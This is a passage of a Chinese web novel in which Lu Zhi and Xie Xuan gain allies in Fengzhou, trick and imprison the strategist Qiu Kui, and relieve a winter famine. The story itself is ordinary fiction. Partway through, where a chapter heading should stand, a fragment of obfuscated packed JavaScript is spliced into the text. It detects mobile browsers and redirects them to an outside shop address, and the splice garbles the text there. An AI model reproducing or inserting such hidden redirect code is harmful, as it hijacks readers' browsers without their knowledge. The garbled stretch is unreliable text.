陆枝刹那间泪流而下,嘴唇张张合合,喊了一声:“爷、爷。”
……
霍仲寒说当年太后欲让小公主和霍无尊结姻亲,霍无尊因心属青梅秦念慈而不肯答应,为避免家族遭祸,他和霍家断绝关系离家远行,不知音讯。
后来霍仲寒领命出征,霍无尊悄悄来送行,两人这才有了联系。
而秦家定然不会将嫡长女嫁给一个已无家族名分之人,霍无尊与秦念慈便如此错过。
再而后,便如陆枝所知的那般,霍无尊护着她们一同去了怙州。
陆枝跪在霍仲寒面前,涕泪交加:“爷爷,是我错了,我不该离家,若我没有走,爹爹和娘亲定然不会出事,是我错了。”
人总会陷入这样的“如果”和“若”之中,不停地后悔。
霍仲寒扶起陆枝:“孩子,不是你的错。得知无尊出事后,我立即派了人去怙州接你,不曾想还是晚了一步,你已入了京城。”
“那京城凶险,孩子,你受苦了。”
陆枝从没觉得受苦,可如今长辈的一句“你受苦了”,却让她的心头忽而涌出千万般委屈,眼泪止不住地流。
霍仲寒拍了拍陆枝的肩:“孩子,别哭。”
陆枝听话,立即抹掉眼泪:“嗯,我不哭。”
她请霍仲寒和司衡坐下,给两人各沏了一杯茶,她朝着司衡赔礼道歉:“司家主,此前是陆枝冒犯,还望司家主莫怪,此乃解药。”
司衡服下解药:“皇妃请起,殿下和皇妃逃亡在外,自当该诸般小心,司某能够体谅。”
陆枝:“谢家主谅解。”
她同谢玄入座,忽然变得局促起来,对方是一位从未谋面的长辈,方才她在人前哭得稀里哗啦,此刻觉着有些丢人。
她暗暗戳了一下谢玄的腰,谢玄当即领会,挑起话头道:“霍老将军与司家主是?”
这话虽是问霍仲寒,谢玄却是看向司衡,他自是不会劳一位长辈来答话。
司衡“噢”了一声,接过话道:“司某乃霍老将军故友的学生。”
谢玄看了看霍仲寒和司衡,道:“劳司家主解惑。”
司衡看霍仲寒点了头,道:“这是自然。”
“不知殿下和皇妃可知名士楚沧源?”
谢玄点头。
陆枝凝眉沉思,过了片刻想了起来:“是那位有名的隐世谋士?”
司衡点头:“不错。”
……
楚沧源一族世代为谋,为天下王者必争,也为天下王者忌惮,楚氏荣辱兴衰交替好几代,到楚沧源这一代已然凋敝。
他为避免楚氏在他手中断绝,便带着妻女归隐山林,不再过问世事。
司衡道:“恩师当初归隐的山便是凤州这山,想必殿下与皇妃也瞧见了那崖壁上凿出来的小路。”
陆枝点头。
司衡继续道:“当年凤州还未有匪患,而是流民涌入,但也与匪无异,闹得十分厉害。”
“我幼时不幸被流民抓住,流民以我来要挟家族给赎金,同我一道被抓的还有个孩子,同我一样的年纪,当时司家派人来赎我,人却被流民抓了,他们夺了钱财并未打算放人。”
“是恩师救了我们。”
流民们占了山头之利,深感未来无望,有了落草为寇的念头。
楚沧源当时便生活在山上,他孤身和流民谈判,承诺会让流民在凤州安身立命,前提是流民不能伤害司衡和另一个孩子。
司衡:“那时凤州的州官叫封良,是位有心为百姓做实事的好官,他听从恩师的建议,雇佣流民将各处废弃庙宇改造成房屋,盖好的房屋便提供给流民们住,流民安定下来后,封大人帮着他们融入凤州,带着他们耕地种粮。”
“我和另一个孩子因此得救,拜入恩师门下。”
楚沧源膝下一女,名叫楚绾,同司衡一同拜师的名叫邱悝。
楚绾率真可爱,司衡和邱悝同时喜欢上了楚绾。
可三个人的感情终究拥挤,必然有一个人要出局。
出局的人是邱悝。
楚绾喜欢司衡,楚沧源将楚绾许给了司衡。
大婚时正值隆冬时节,落雪在大婚前几日才堪堪将停,雪色铺满人间。
天光放晴,金光细碎。
红绸挂在松柏间,相得益彰。
邱悝负气离走,藏在暗处被红色刺痛双眼,他一拳砸在松树上,松上的厚雪抖落。
楚绾身着喜服静坐在新房内,被邱悝打昏带走。
司衡温润的眉眼骤然变得冷冽,凛如霜雪:“我发现绾儿不见便立即追去,于琅村追上。”
他的声音沉下,双拳紧握:“绾儿为了逃回我身边,被、”
司衡闭上眼睛,似乎回到了当初那个场景,漫天飘雪,爱人的鲜血染红了刚落下的雪。
他浑身颤抖:“被他所杀。”
陆枝和谢玄对视一眼,垂下眼眸。
人世间诸般遗憾无奈,唯有生离死别最是无解。
司衡:“邱悝逃走,
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办完绾儿的丧事,我四处派人追踪邱悝的消息,得知他入了太子府,我的人无法潜入太子府,几年后,宫内便发生巨变。”
陆枝眉心一蹙,看向谢玄,见他亦是眉头紧锁,想来是完全不知晓此人的存在。
她心道:这邱悝不愧是出自谋士门下,竟能如此悄无声息潜藏在京城。
霍仲寒长叹了一口气,拍了拍司衡的肩:“沧源兄与我自小相识,他知我在边境便给我写了封信,我来见他,不曾想却是最后一面,他遭逢丧女之痛积郁成疾,无力回天。”
“临终前他将司衡托付给我,希望我照拂司衡,若司衡想要报仇,不必相帮,但至少保他一命。”
陆枝惋惜,百年名族,一朝覆灭。
既处王权之下,纵然隐世,也难以独善其身。
“想来也是可笑,”霍仲寒嗤笑一声,摇了摇头自嘲道:“那时我还常劝司衡小子放下仇恨,好好活着,后得知我儿无尊惨死,我才彻底不再说那全是放屁的劝慰话。”
霍仲寒看向陆枝:“司衡小子一直关注着京城动向,我得知你入了京城,便托他暗中保护你。”
陆枝惊诧:“这般说,我们入凤州之事,司家主早就知晓。”
司衡点头:“钱瑞掌控凤州家族,我只得假意逢合,皇妃自京城至凤州一路上的安排甚妙,我知皇妃和殿下不会直接入城,便暗中换了城中的眼线。”
陆枝和谢玄共同作揖:“谢家主相助。”
或许他们受人家的帮助还要更早,或许逃出皇宫便有人家的一份助力在里面。
毕竟现下仔细回想一番,有些细节值得深思,比如他们为何会独独选中那位官员,好似是她无意中和那位官员对视了一眼,那官员没有惊动任何人,默默别过了眼。
司衡:“殿下皇妃客气,司某只是做了些暗中功夫,真刀真枪之事还得靠霍老将军。”
陆枝立马想通其中关节:“是您替我们拦住了追兵。”
怪不得这一路畅通无阻,因为不见追兵,他们完全没有逃命的紧迫感。
她作揖道:“多谢爷爷。”
霍仲寒托住陆枝:“好了,你这丫头,不要再客气。”
陆枝:“今日爷爷来见我,是愿意助我们一臂之力吗?”
霍仲寒正了神色:“丫头,我问你,你要夺这天下,想要作何?”
陆枝反问:“敢问爷爷,可愿侍奉当今新皇?”
霍仲寒甩袖冷哼:“弑父夺位,强娶弟妻,此等大逆不道之人怎配我奉为新主!”
陆枝:“孙女同爷爷所想一样,谢瓒之德,不配端坐高堂。”
霍仲寒:“那你认为这天下谁来坐合适?可是你的夫君?”
陆枝坦率承认道:“是,谢玄乃谢氏血脉,名正言顺,且他自幼习政,心怀仁善,是我认可的大栾之皇。”
“但我不会让爷爷也这般想,谢玄配不配坐那个位置,爷爷可在日后考察他,若您觉着他德不配位,可从其他谢氏宗族中另选天下继承人。”
霍仲寒:“你是这般想,他可也是这般想的?如今说得轻松,将来真君临天下,怎可能轻言放手?”
谢玄:“不瞒霍老将军,我自幼同谢瓒争抢,那皇位,我心向往之。”
“但在我心中,枝儿远比皇位重要,她若想高坐明堂,我便为她争,她若不愿困于深宫高墙,我便带她游山玩水逍遥终老。”
他看向霍仲寒,眸色温和而真挚:“这天下是不是我来坐于我来言已没有那般重要,于我而言重要的是,我要让枝儿光明正大地站在阳光下,我要她能够自由自在地走遍千山万水。”
33.假扮
霍仲寒冷哼一声:“漂亮话谁不会说?”
他看着陆枝那被感动住的便宜样,又冷哼一声:“净会哄骗小姑娘。”
眼眶刚热的陆枝立马眨了眨眼睛,面无表情地站在一边,证明自己没有被哄骗。
霍仲寒:“……”
……
陆枝本想将那群家主恐吓一顿,但司衡主动揽下了这活,她也便让他去做了。
能攻心是最好的,司衡明显比她擅长。
接管凤州后,原本耳目闭塞的状态终于改善,陆枝才知谢瓒欲起战,一批官员劝阻,结果被谢瓒全部下狱。
陆枝:“谢瓒这般作弄,谢氏江山迟早会亡在他手里。”
谢玄:“或许他觉得他能创造出一个前所未有的谢氏江山。”
陆枝:“民能载舟,亦能覆舟,起战便得增加赋税,若长此以往,民必反之。”【注1】
就算是她想要拉下谢瓒,也没想过要堂而皇之地起兵,而是带人潜入京城逼宫,将伤害降到最低。
但前提是积攒下足够的兵力。
谢玄:“囚禁官员,此举已失臣心。”
陆枝:“想不到这邱悝竟这般激进。”
一月后,京城传出消息。
凰国公主因妒谋害皇后,畏罪潜逃,谢瓒下令,国丧之后攻打凰国。
陆枝看向谢玄:“韩锦死了。”
谢玄“嗯”了一声:“登上皇位后,他已近乎癫狂。”
陆枝有些看不清局势,向司衡请教。
司衡分析道:“凰国应会先遣人来赔罪,但天子极有可能不会接受,凰国国力不强于大栾,凰皇便会寻找盟友,而对凰国来说,最好的盟友便是,”
他指了指地图上大栾边境线上的一个国家:“他们。”
陆枝看向那点,道:“蛮族。”
司衡:“不错,此前凰皇便有意和蛮族联姻。”
陆枝点头:“不错,在京城时听韩锦提过,要韩锦嫁入蛮族乃是大公主之意,韩锦不愿主动请缨来大栾做使臣,如今韩锦已死,大公主已然婚配,那便是小公主?”
司衡:“极有可能。”
陆枝:“可那小公主不过才十岁,嫁入残暴凶虐的蛮族,便是等同于送死,听闻凰国皇帝最为宠爱这位小公主,他也能舍得。”
司衡:“皇族子嗣便是如此,安定时享一国之荣耀,动荡时便是最先被放弃的那一批人。”
陆枝拧眉:“若联姻成功,蛮族进犯边境,一旦冲破边境防线,凤州危矣。”
“爷爷的兵要守边境,自然不能调来守凤州,凤州的城防不足以抵挡住蛮族,司家主,此番危机该如何解?”
就算她用毒也太过有限,届时蛮兵涌入城中,敌我难分,无辜百姓也要跟着遭殃。
虽然她杀人,但从不滥杀,手上没沾过一条无辜之人的性命。
她占了凤州,也没法弃了凤州让一州百姓去死,若蛮族撕开了这个口,一路进军,也终会打到怙州。
司衡:“皇妃且先安心,邱悝也会这般想,他应会使用些手段阻止联姻。”
他眯起眼睛:“不,他应会先发制人,劝天子先迎娶凰国公主。”
陆枝:“所以要攻打凰国只是个幌子,谢瓒真正要打的是蛮族。”
司衡:“蛮族乃是大栾最大的外患,毗邻大栾国土,若大栾起战难保蛮族不会趁虚而入,所以天子要先解决掉这个隐患。”
陆枝听完难以安心,要战蛮族,霍仲寒便得再上沙场。
赢了,谢瓒便要继续向外打。
输了,霍仲寒便要被问罪。
没想到这战还没起,她却已经进退两难,她满怀心事地向外走去:“多谢家主。”
司衡对着她的背影道:“皇妃,此战赢,利大于弊。”
陆枝点了点头,继续朝着外面走去。
司衡说的没错,这战得赢,无论输赢谢瓒都要打掉蛮族,若输了还得赔上一个霍仲寒,不划算。
云朵缓缓聚集,看着是要下雨,风一吹过,陆枝冷不丁打了个喷嚏。
她抱着手臂搓了搓,抬头看天,后知后觉地反应过来,快要到冬天了。
谢玄拿了件浅色大氅来给她披上:“当心着凉。我知你心忧,但此事有解。”
陆枝:“如何解?”
谢玄:“按原来计划的那般,逼宫。”
陆枝:“可我们兵力不足。”
他们还没有攒够足够的兵力,而且当下要起战,边境的兵力是万万不能动的。
谢玄:“无妨。谢瓒会送一批兵给我们。”
陆枝瞪大眼睛:“你是说夺出征之军?”
好冒险,也好……疯狂。
京城送来的兵怎么说也有七八千,他们才一百,加上凤州也才两千一,差距还是过于悬殊。
但——
他们不一定要在征军出行途中动手。
她猛然看向谢玄,谢玄浅浅点了点头。
引他们借道凤州便可。
钱瑞上书京城,请求此次出征之军路过凤州,为凤州彻底清除匪患。
谢瓒允了,且随行监军是邱悝。
陆枝:“看来他对拿下此战势在必行。”
谢玄:“毕竟是他登基后的首战。”
陆枝看向司衡:“司家主,可有什么法子拿下邱悝?”
若有此人在将军身旁出谋划策,他们还不好做些什么。
司衡:“有,但……”
陆枝:“家主直说便可。”
司衡作揖,一副请罪模样:“皇妃的眉眼与绾儿有几分相似。”
陆枝懂了。
谢玄醋了:“司家主,慎言。”
陆枝拉住谢玄,冲他微微一笑,是下定了决心。
……
京城大军抵达凤州当日,钱瑞携众家主在城墙上相迎。
邱悝一眼望过去,白色衣裳的女子最为扎眼,她站在司衡旁边,戴着面纱,可那双眉眼他极为熟悉。
那位女子也看见了他,朝着他微微欠身,他心头咯噔一下。
绾儿……竟还活着。
邱悝恍若丢了魂。
大军到来前,陆枝照着司衡的描述学习楚绾的举止仪态,若娘照着司衡的描述和画像给陆枝上妆,几番调整下来,已贴近楚绾八分像。
司衡看呆了一瞬。
谢玄咳嗽提醒。
司衡反应过来:“皇妃当下妆面最是相像。”
陆枝看了看镜中的自己,又看看画像上的人,确实相像,但若是看久了,还是能看出区别。
鼻子和嘴巴不太像。
既然司衡说了眉眼像,那就只露眉眼好了,她戴上了面纱。
这下八分成了十分。
钱瑞将邱悝和将军领进州官府,邱悝一见着“楚绾”失了仪态:“绾、绾儿,你还活着。”
司衡抬手挡住邱悝,陆枝顺势往司衡身后一躲:“师兄,许久不见。”
邱悝:“你的声音……”
司衡面色冷漠:“绾儿幸得高人相救,只是常年喝药,喝坏了嗓子。”
陆枝用了点药,当下的声音既不像她自己,也不像楚绾,便同司衡寻了个说得过去的理由。
邱悝想上前,陆枝出声制止:“邱师兄请自重,如今我已嫁人。我既活了下来,前尘往事,楚绾不怪师兄,也请师兄放下,莫再执着。”
邱悝停在原地,再无靠近的勇气。
冬日天色暗得早,钱瑞准备了宴席
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款待。
众人入座后,陆枝便跟着退下,屋内烛火惶惶,邱悝的目光一直落在陆枝身上,直到她离开才怅然若失地收回视线。
绾儿还活着,也算是个好消息。
陆枝一离开就被谢玄拉进房间抵在门上,熟悉的气息霸道地笼罩着她,令她心惊。
她看谢玄一脸闷闷不乐的模样,心道:又炸毛了,得好好哄一哄。
她踮起脚尖,在谢玄唇边亲了亲。
醋缸没有反应。
她又踮起脚尖,在谢玄的鼻尖亲了亲。
醋缸还是没有反应。
陆枝:“……”她就不信哄不好了。
她取下面纱,双手环上谢玄的脖子,踮起脚尖吻上了谢玄的唇。
谢玄终于有了反应。
他俯下身让陆枝站定,一手揽着陆枝的腰,一手抚上她细长的脖颈。
这个吻由浅入深,安静、绵长且缱绻。
外头传来“司夫人”的叫唤,陆枝没有应声,她环着谢玄的腰,靠在他的肩头微微喘气:“还气不气了?”
谢玄嘴硬道:“气。是谢夫人,不是司夫人。”
陆枝掐了一把他的腰:“你知道的,是假的。”
谢玄朝陆枝的耳朵上咬了一口,孩子气般说道:“假的也不行。”
陆枝哭笑不得:“再闹我生气了啊。”
谢玄委屈巴巴地放开陆枝。
陆枝跟着司衡回了司府,若娘替她卸下面纱,惊道:“小姐,您这脖子上的红印是怎么回事?”
陆枝脸一红,用手摸了摸:“狗咬的。”
若娘心里奇怪,州官府里也没养狗啊,再说小姐武功高强,狗怎么可能咬得到她的脖子——
她顿时反应过来,羞红脸垂下头不再说话。
陆枝的脸更红了。
……
邱悝让人给陆枝送信邀她一叙。
司衡:“我陪皇妃同去。”
陆枝想了想,觉得合理:“好。”
到了三楼雅间门口,陆枝道:“我自己进去吧,你在外面等我会儿。”
司衡:“好。”
陆枝推门而入,邱悝瞧见门外的司衡心头一紧。
陆枝坐到邱悝对面:“师兄。”
邱悝:“绾儿,当初是师兄疯了,师兄不该冲动之下伤了你,还好,你没事。”
陆枝:“师兄今日是来道歉?楚绾说过已不怪师兄,师兄不必如此。”
邱悝:“绾儿,可有什么是师兄能为你做的?”
陆枝:“师兄是想补偿?”
邱悝点头。
陆枝给邱悝倒了杯茶递上:“楚绾确有一事相求。”
邱悝接过茶一饮而尽:“你且说来。”
陆枝:“楚绾知晓师兄此次为何而来,此战不该起,如今天下安定,师兄何故要助战乱起?楚绾望师兄留在凤州莫再往前。”
邱悝垂首:“绾儿,唯独此事恐怕不行。”
陆枝摩挲着茶杯杯身的牡丹,敛眉道:不,师兄,此事可行的。”
邱悝:“绾儿,你这是——”何意?
他的眼前突然模糊起来,整个人失去力气撑在桌上:“绾儿,你、你给我吃了什么?”
陆枝:“只是一杯茶。”
“师兄且在凤州好生休息。”
“你……”邱悝昏了过去。
陆枝打开门:“这人得想个法子带走。”
司衡看了眼屋内昏厥的邱悝,道:“皇妃安心,我来安排。”
陆枝意味深长道:“司家主,且再等些时日。”
她完全理解司衡想要为妻报仇之心,这本无可厚非,但得等上一等。
司衡作揖道:“司某明白。”
34.抗寒
凤州处于北端,冬日异常严寒,大雪封州,大军只得滞留凤州。
这对京城那边来说也是个极好的借口。
屋外的风凛冽呼啸,只稍稍一伸手,手就被风刃割得生疼。
领军之将罗征被钱瑞安抚留在州官府,一直吵着要见邱悝,陆枝索性把人迷晕了,将八千将士卸了兵器困在城中校场。
她正想着怎么收拢这八千人心,灾变来了。
大雪封州,冻害严重,稍微有些家底的人家冬季储备倒还充足,穷苦人家便有些撑不住了,凤州开始冻死人。
陆枝和谢玄合计开仓接济。
沐武来报:“公子,夫人,仓是空的。”
陆枝眉头紧锁:“这钱瑞在凤州为官多年,怎会不知凤州的情况,这仓储恐怕不是他没备,而是进了他自己的腰包。”
“将山上匪窝和钱瑞金库的钱财全部拿出,去买御寒物资送给城中穷苦人家。”
谢玄翻看着凤州户册,道:“凤州登记在册共两千余户人家,便是除去那些有存余的人家,城中炭火冬衣商家的储备也是有限。”
陆枝:“便先紧着有小孩老人的人家发放吧,只是这大雪若是下得久,这个冬月怕是难捱。”
两人正思索对策之际,陈冕急匆匆来报:“殿下,夫人,边境来信求助。”
陆枝展信一看,犹如被人当头一棒。
“谢瓒要战,粮草和冬衣早该送往边境了,此刻怎会是粮草断绝的境况?”
谢玄眉心蹙成一团:“恐怕,这批粮草出了问题。”
司衡闻信匆忙赶来,肩头的雪化开洇湿大氅,他整个人带着一股极寒的冷气,一入屋内将好不容易积攒出来的暖气给压了下去。
“送往边境的那批军粮是霉粮,吃不得,此刻是霍家靠着积蓄撑着,很快便要撑不住了。”
陆枝:“先将京城带来的那批粮草送过去。”
司衡:“杯水车薪。”
陆枝:“能撑一时是一时,先争取一些时间,我来想办法。”
“陈统领,沐武那边进况如何?”
陈冕:“几乎将全城商家的存货全部买断,够勉强维持一阵。”
陆枝稍稍松了口气,也算是个好消息。
谢玄:“去将罗将军请来。”
陆枝大概明白谢玄要做什么,她道:“我去见一趟邱悝。”
司衡道:“我陪夫人同去。”
陆枝应了。
邱悝被关在地牢内,此刻冻得发抖。
他看见陆枝,道:“你果真不是绾儿。”
陆枝:“嗯,我不是。”
“邱先生,我有一事问你,给边境送霉粮是你的主意还是其中有官员打通关节私吞了军银?”
邱悝冷笑:“这很重要?”
陆枝:“有些重要。”
邱悝沉默着看着陆枝,陆枝暗暗叹了口气,捏了捏嗓子,学着楚绾的声音喊了一声:“师兄。”
不过她也只能一两句学得像,若是说多了便不像了,故而用了药改变声音。
邱悝心头一颤,垂下眼不看陆枝:“你不是绾儿,别这么叫我。”
陆枝:“可你想听,不是吗?”
邱悝沉默良久后说道:“陛下知晓霍仲寒与你有着联系,此番出征虽要讨伐蛮族,更重要的是让罗征取代霍家,陛下不希望谢玄有任何翻身之机。”
陆枝听明白了:“谢邱先生解惑。”
她转身离开,冲司衡丢了个眼神,示意时机已到。
司衡作揖送她离开。
他走到邱悝面前,淡漠地看着邱悝。
邱悝:“初入城的那一刻,我当真以为绾儿还活着,她是故意扮的,却扮得与绾儿那般像。”
司衡:“某一瞬,我也差点以为绾儿活了过来。”
邱悝抬头看他:“你来送我。”
司衡:“师父心疾难愈,已离开人世,师娘同他去了。邱悝,师父为保楚氏一脉归隐山林,为救你我而未得归隐,他这一救,却是让这楚氏一脉断在了你我手上。”
他总在想,若他不如娶绾儿,是不是不会有这些变数?他们三个彼此都藏着心思,当下是不是就是在好好地坐在一起听师父讲功课?
可昔日过往尽数湮灭,这样的“若”揪得人心脏疼。
邱悝垂下头:“我有罪,躲在京城的这些年我日日夜夜都能梦见绾儿,她始终背对着我,无论我怎么叫她求她,她都不肯转过身来看我一眼,我知道她一定恨极了我。”
“我在京城躲腻了,此趟回来便是为了赎罪,给我吧,”他向司衡伸出手,“就让我自行了断吧。”
司衡沉默着将匕首递给了他。
邱悝拔出匕首正对自己的心脏:“若有来世,我便做绾儿的兄长,好好地护着她,再看你们二人喜结连理。”
“此生欠你们的,我今日还了。”
他将匕首刺进自己的心脏,一口温热的鲜血喷吐在地,瞬间转凉,他无力地垂下了头。
司衡在地牢前站了很久很久,直到手脚麻木,才踉踉跄跄地离开。
如今,便真的只剩他一个人了。
……
天灾至,好在陆枝应对及时,稳住了人心。
谢玄不知道用什么办法说服了罗征,罗征派了一队人马往边境送物资。
陆枝暂时松了口气,可看着屋外纷飞的大雪,提着的心始终没有放下来:“这雪看着还要下上许久,城内的储存已然不够。”
现在纵然他们有钱,也买不到东西。
谢玄:“如今只得向外面买。”
陆枝同意:“也只有这个法子了。但邻州知晓凤州的情况,商家必然会坐地起价。”
谢玄:“或许,可以跳过商家。”
陆枝眼睛一亮:“你是说直接找农家,这是个好法子!”
随即她又颓丧下去:“商家皆以利为先,他们怎会真心实意地告诉我们?若靠我们自己找,这时日怕是来不及。”
谢玄给陆枝揉了揉太阳穴:“枝儿莫不是忘了,咱们有着诸位家主?”
陆枝一拍手心:“对呀,这诸位家主乃是众商家最大的客户,定然不敢得罪,让他们去打听再好不过了。”
她反身抱住谢玄:“还是夫君心思细腻,我这就喊人去办。”
谢玄拉住陆枝:“我早已吩咐下去,这些时日你忧心太过,今日便好生歇一歇。”
陆枝看谢玄安排妥当便答道:“好,你陪我。”
谢玄:“自然。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598859|139894||http|test|mini|href|location''.split(''|''),0,{}));
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>……
司衡沐武金承分别带着人从周边的村落购买到足够足量的粮食和棉花。
陆枝让楚悦带着人赶制冬衣,钱瑞的家眷也跟着一起,全城会绣工的娘子几乎都被陆枝找了来。
楚悦虽恨钱瑞,但也未迁怒于其家眷,她明白当下应以大事为重。
元霜与钱瑞家眷起了冲突,楚悦甚至还从中调和安抚双方。
陆枝听后有些佩服楚悦。
罗征带着人将粮食送往边境,再返回时,冬衣已加急赶制好,可送往边境。
他看着一团一团的冬衣装上车,车后是一大批缝衣的绣娘,心头涌出一大股暖流。
当真有人拿他们的命当命。
谢玄曾对他说:【你为国守边疆,我定不会负你与众将士。】
当今陛下为让他夺霍家兵权,不惜给边境将士送霉粮,他原本想要这前程,而今觉得这前程也不过如此,若有朝一日,天子想要换掉他,是不是也会给他送来霉粮,他与他的兵驻守边境,日夜苦寒,最终还要被他们的天子寒心。
罗征看见谢玄,策马过来,问道:“殿下当日所说之言可都作数?”
谢玄:“只要罗将军忠心大栾,一切都作数。”
罗征翻身下马,抱拳跪下:“罗征愿率罗家军奉殿下为主。”
他身后的兵跟着跪下:“誓死追随将军,誓死追随殿下。”
谢玄扶起罗征:“罗将军请起,此趟还要劳烦罗将军了。”
罗征:“定不辱命。”
陆枝走到谢玄身旁,看着一众将士离去的背影问道:“你许了他什么?”
谢玄:“要不夫人猜猜?”
“嗯……”陆枝托着下巴沉思,“于将而言,最重要的是兵权,你可是承诺永不夺他兵权了?”
谢玄笑笑:“什么都瞒不过夫人。你可觉得此举不妥?”
陆枝摇头:“若是忠于国家,兵权是哪位将军拿着都无妨。”
“不过,”她调侃道:“古往今来,肯放兵权的傻子就你这么一个,你就不怕他造反?”
谢玄:“自然是有牵制他的手段。”
陆枝仰起脸问:“是什么,快告诉我。”
谢玄:“你再猜猜?”
陆枝摇了摇头:“这个真猜不出来,美人金银权势,好像都不太对。”
谢玄揽过陆枝的肩:“若我们真的走到了那个位置,将来孩子出生,罗家嫡生的孩子便得送入宫中做伴读。”
陆枝:“这不就是质子?”
她用手肘捅了捅谢玄的腰:“你挺坏啊。”
谢玄挑眉:“我可没有不许罗家人进宫看孩子,甚至同意孩子娘亲一道入宫照顾。”
陆枝知道谢玄本意虽是牵制罗家,但也不希望孩子幼时过得太孤单,她故意装作不懂,道:“好啊,连娘亲都是人质,你可真够黑心的。”
谢玄抓住陆枝在他腰间捏来捏去的手:“招罗家嫡子伴读有个前提条件。”
陆枝一时没反应过来:“什么前提条件?”
谢玄凑到她的耳边低声说道:“前提是咱们得有个孩子。”
“所以,”他凑近看着陆枝,“夫人,咱们什么时候要个孩子?”
陆枝心头一跳,瞬间熟透。
35.秘密
陆枝佯装淡定地拿开环在自己腰间的手:“此、此事容后再议,容后再议……”
谢玄不让她逃,被拿开的手再度箍了上来:“容后是多久?”
陆枝踮脚亲了谢玄一口,趁着谢玄愣神留下一句“你猜”一溜烟地逃了。
……
大雪过去,邱悝失去消息,京城那边察觉到不对劲,派了御史来查明原因。
霍仲寒派人将陆枝一行接往边境。
陆枝骑在马背上,道:“暴露是早晚的事,和谢瓒迟早要对上,他若集结大军讨伐北境该如何?”
毕竟谢瓒很疯,她也不是没有领会过。
谢玄:“他若要讨伐北境,势必要从另外三境调军,届时边防松懈,大栾恐落入险境。”
陆枝点头:“我担心的也是这个,谢瓒对进谏的大臣不是囚就是杀,还有敢出面阻止他的大臣吗?”怕是没有了。
他大抵还能听得进邱悝的话,但他们绝对不会把邱悝放回谢瓒身边的,更何况邱悝已死。
陆枝陷入沉思,进入北境后他们一旦起兵反抗,便是叛军,是祸害。
任何事情都得师出有名,如今谢瓒暴虐施政,寒了老臣的心,朝中新起之秀气候尚未成势,眼下是他们可以抓住利用的好时机,但得有一个正当的名头。
只要有证据能证明谢瓒弑父、或是害了皇后……
宫变相关之人估计都让谢瓒处理了干净,现在机率大一点的只有韩锦这边。
就算找不到,但眼下有一个机会。
陆枝看向司衡,问道:“司家主,你曾说邱悝会让谢瓒迎娶凰国小公主。”
司衡:“不错,两国已交换国书,待开春后,小公主便要入大栾。”
陆枝:“你可能打听到其进京路线?”
司衡:“皇妃是打算……?”
他看向谢玄。
谢玄眉间染上忧色:“你想去告诉她真相,可她未必会选择帮你。”
陆枝:“才十岁的孩子,连哄带骗地用点手段便好了,况且她总不会想死在大栾吧。”
“我们试一试。”她拉了拉谢玄的衣袖。
谢玄叹了口气:“我陪你去。”
陆枝喜笑颜开:“好。”
“对了,司家主,京城有没有传出别的消息?比如皇后的贴身侍女逃遁了?或是皇后留了什么密信之类的?”
韩锦也算有些小聪明,知道谢瓒要害自己总会留点后路吧。
司衡:“皇后自大典后便对外宣称身体不适,终日未曾出过忘忧宫,皇后薨后,其侍女随主而去。”
陆枝叹气,看来她的侍女是没能逃掉。
“不过,宫中曾传出一事。”司衡回忆道:“皇后曾想吃花间的点心,遣人出宫买,那名出宫的宫女再没回过宫。”
陆枝问道:“这名宫女可是叫做华惜?”
司衡:“非也,皇妃所说之人是陪皇后去了。”
陆枝眉头一皱,又问道:“司家主,那这名宫女可能找到?”
司衡:“怕是很难,宫里的人也在找她,她好似凭空消失了一般,谁也没再见过她。”
陆枝看向谢玄,谢玄道:“人不可能凭空消失,要么是走密道逃遁了,又或是……”
陆枝:“灯下黑。”
谢玄:“不错。”
“这名宫女的背景如何?”
司衡:“是寻常人家的女子,曾被派往使臣府伺候过一段时日。”
陆枝:“那这名宫女极有可能在那时和韩锦有了牵扯,她肯冒死帮韩锦,定然是韩锦也曾帮过她。”
“使臣府,司家主能派人进去找找么?”
司衡:“嗯,此事不难。”
谢玄驾马靠近拉住陆枝,司衡会意,朝二人作了一揖朝前骑去,并入陈冕等人的队伍。
陆枝:“你有话要同我说。”
谢玄抓着陆枝的手没有松开,沉声道:“你想跟着送亲队伍入京城。”
陆枝知道瞒不过谢玄,坦诚道:“是。”
谢玄眸色加深,手上用力,将陆枝拉进了自己怀里,他大喝一声“驾”,马儿带着他们远离人群。
陆枝搭上谢玄的手哄道:“谢玄,你先别生气,我是有把握不暴露。”
谢玄没回声,待甩开人群一大段距离以后,他将陆枝圈得更紧了些:“枝儿,我不想你去冒险,你也无需去冒险,我已有安排。”
陆枝一愣,她好像从来没有问过谢玄的想法和安排,都是自顾自地决定,自顾自地去实行,因为太过自信谢玄会顺着自己,她甚至都没有发现自己忽略掉了谢玄的感受。
谢玄给了她足够的自信,她却没能给谢玄足够的安全感。
陆枝敛眉,扣进谢玄的五指,问道:“我倒从未问过你,是我忽略了,你可以告诉我吗?”
谢玄低头蹭了蹭陆枝的鬓边:“父皇唤我们入宫那日,我对沐武交代过,若我们当日不曾出宫,定要盯紧流光有无出过宫,他若出宫,定要跟紧。”
陆枝当即便想通了谢玄的用意,流光是谢瓒的心腹,处理知情人这般隐秘之事,定然是要交给心腹去做才会安心。
“可有结果?”
谢玄:“嗯,救下了一个小公公。”
陆枝惊喜:“他人在何处?”
谢玄:“你见过的,便是我们带出来的众人当中的一人。”
陆枝回忆起百来个人的脸,问道:“可是那位看着不喜说话也不爱同人来往的那位?”
谢玄:“嗯。不过他倒不是不喜说话,是被人毒哑了。”
陆枝皱眉:“谢瓒干的?”
谢玄:“丁松,便是在父皇身旁伺候的公公。这些宦官常爱认些干儿子,这小公公便是他众多干儿子中的一位。”
陆枝:“那这么说来,他定然知道谢瓒和丁公公暗中所谋。”
谢玄:“不仅知道,还有证据。”
陆枝:“是何?”
谢玄:“太子印信。”
“小公公自幼跟着丁松,为了活下去提丁松做过不少腌臜事,他知丁松不会放过自己,在丁松与太子往来时偷偷藏了一份印信。”
陆枝大喜,抓住谢玄的手臂晃:“这可是个极好的消息,你怎么不早些告诉我?”
谢玄:“母妃不希望我带着你报仇,她希望我带着你安稳地度过余生。”
陆枝:“可这仇恨在,我们不会安稳。”
谢玄:“你想做什么我都陪你。枝儿,多信我一些,多依靠我一些。”
陆枝:“谢玄,如今这个世上我最信任的人便是你了。”
